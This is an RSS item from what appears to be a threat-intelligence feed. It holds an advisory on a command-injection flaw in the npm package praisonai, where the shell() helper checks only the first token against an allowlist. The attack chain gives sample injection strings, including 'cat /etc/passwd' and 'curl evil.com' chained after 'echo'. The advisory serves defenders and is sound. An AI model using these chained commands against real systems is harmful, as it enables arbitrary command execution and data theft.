<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Praisonai (1.5.1-1.7.1) - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/praisonai-1.5.1-1.7.1/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Thu, 18 Jun 2026 15:03:35 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/praisonai-1.5.1-1.7.1/feed.xml" rel="self" type="application/rss+xml"/><item><title>npm PraisonAI utility-tools.shell() Allowlist Bypass via Shell Chaining (GHSA-5jv7-2mjm-h6qj)</title><link>https://feed.craftedsignal.io/briefs/2026-06-praisonai-shell-bypass/</link><pubDate>Thu, 18 Jun 2026 15:03:35 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-praisonai-shell-bypass/</guid><description>The npm package `praisonai` versions 1.5.1 through 1.7.1 contains a command injection vulnerability (GHSA-5jv7-2mjm-h6qj) in its `utility-tools.shell()` helper, which allows attackers to bypass a 'safe read-only' command allowlist by appending arbitrary shell commands with metacharacters after an allowed command, leading to arbitrary code execution with the PraisonAI process privileges.</description><content:encoded><![CDATA[<p>The npm package <code>praisonai</code> has been identified with a command injection vulnerability (GHSA-5jv7-2mjm-h6qj) affecting versions 1.5.1 through 1.7.1. The <code>utility-tools.shell()</code> helper, located in <code>dist/tools/utility-tools.js</code>, is designed to execute &quot;safe read-only commands&quot; by checking only the first whitespace-delimited token against an allowlist (e.g., <code>ls</code>, <code>cat</code>, <code>echo</code>). However, the function then passes the entire input string to Node.js's <code>child_process.exec()</code>, which executes it via a system shell. This policy/parser differential allows an attacker to prefix a malicious command with an allowed command and shell metacharacters (e.g., <code>echo ok; malicious_command</code>), bypassing the intended allowlist and executing arbitrary commands with the PraisonAI process's privileges. This flaw enables potential file system access, network exfiltration, or denial of service within applications using this vulnerable library.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Initial Access</strong>: An attacker identifies an application or service that integrates the <code>praisonai</code> library (versions 1.5.1-1.7.1) and exposes functionality that processes user-controlled input through the vulnerable <code>utility-tools.shell()</code> helper.</li>
<li><strong>Command Crafting</strong>: The attacker crafts a malicious command string. This string starts with a command found in <code>utility-tools.shell()</code>'s <code>safeCommands</code> allowlist (e.g., <code>echo</code>, <code>ls</code>) followed by a shell metacharacter (e.g., <code>;</code>, <code>&amp;&amp;</code>, <code>|</code>) and the desired arbitrary command (e.g., <code>cat /etc/passwd</code>, <code>curl evil.com</code>).</li>
<li><strong>Vulnerable Function Call</strong>: The crafted malicious command string is submitted as input to the vulnerable application. The application, in turn, passes this string to the <code>praisonai</code>'s <code>utility-tools.shell()</code> function.</li>
<li><strong>Allowlist Check Bypass</strong>: The <code>utility-tools.shell()</code> function performs its safety check by splitting the input string by whitespace and validating only the <em>first token</em> (e.g., <code>echo</code>) against its internal <code>safeCommands</code> allowlist. Since the first token is allowed, the check passes.</li>
<li><strong>Shell Execution</strong>: The function proceeds to pass the <em>entire, unaltered malicious command string</em> (e.g., <code>echo; cat /etc/passwd</code>) to Node.js's <code>child_process.exec()</code>.</li>
<li><strong>Arbitrary Command Execution</strong>: <code>child_process.exec()</code> invokes the system's default shell (e.g., <code>sh -c</code> on Linux, <code>cmd.exe /c</code> on Windows), which interprets the full string. The shell executes the initial allowed command, then, upon encountering the shell metacharacter, proceeds to execute the appended arbitrary command (e.g., <code>cat /etc/passwd</code>).</li>
<li><strong>Impact</strong>: The arbitrary command is executed with the privileges of the PraisonAI application process, potentially leading to sensitive data exposure, file modification, network communication, or system disruption, depending on the command and process context.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>If an application or service exposes the vulnerable <code>utility-tools.shell()</code> helper to untrusted input, the safe-command allowlist becomes ineffective. Attackers can execute arbitrary shell commands with the PraisonAI process privileges. The specific consequences are determined by the embedding application's context and permissions, but can include unauthorized reading of sensitive files and secrets (e.g., credentials, configuration files), modification of files or application state, invocation of local tools, network exfiltration of data if egress is permitted, and denial of service through resource-intensive commands. While no specific victim numbers are available, the broad applicability of Node.js applications means any sector using <code>praisonai</code> between versions 1.5.1 and 1.7.1 could be affected.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li><strong>Patch Vulnerable Library</strong>: Immediately update <code>praisonai</code> to a version higher than 1.7.1 (or explicitly prior to 1.5.1) to address GHSA-5jv7-2mjm-h6qj. The advisory suggests avoiding <code>exec(command)</code> for policy-checked strings and instead using <code>execFile()</code> or <code>spawn()</code> with <code>shell: false</code>.</li>
<li><strong>Deploy Detection Rules</strong>: Implement the provided Sigma rules to detect patterns indicative of this exploitation on both Linux/macOS and Windows hosts that run Node.js applications.</li>
<li><strong>Review Code for Vulnerable Usage</strong>: Developers should review their codebase for any instances where <code>praisonai/dist/tools/utility-tools.js</code> is imported and its <code>shell()</code> function is called with user-controlled input. Refactor such calls to ensure input is properly sanitized or leverage safer alternatives as described in the &quot;Suggested Fix&quot; section of the advisory (GHSA-5jv7-2mjm-h6qj).</li>
<li><strong>Enable Detailed Process Logging</strong>: Ensure <code>process_creation</code> logging (e.g., via Sysmon on Windows, Auditd/eBPF on Linux) is enabled and configured to capture full command lines, parent-child process relationships, and image paths to effectively utilize the provided Sigma rules.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>command-injection</category><category>npm-package</category><category>nodejs</category><category>rce</category><category>allowlist-bypass</category><category>ghsa</category></item></channel></rss>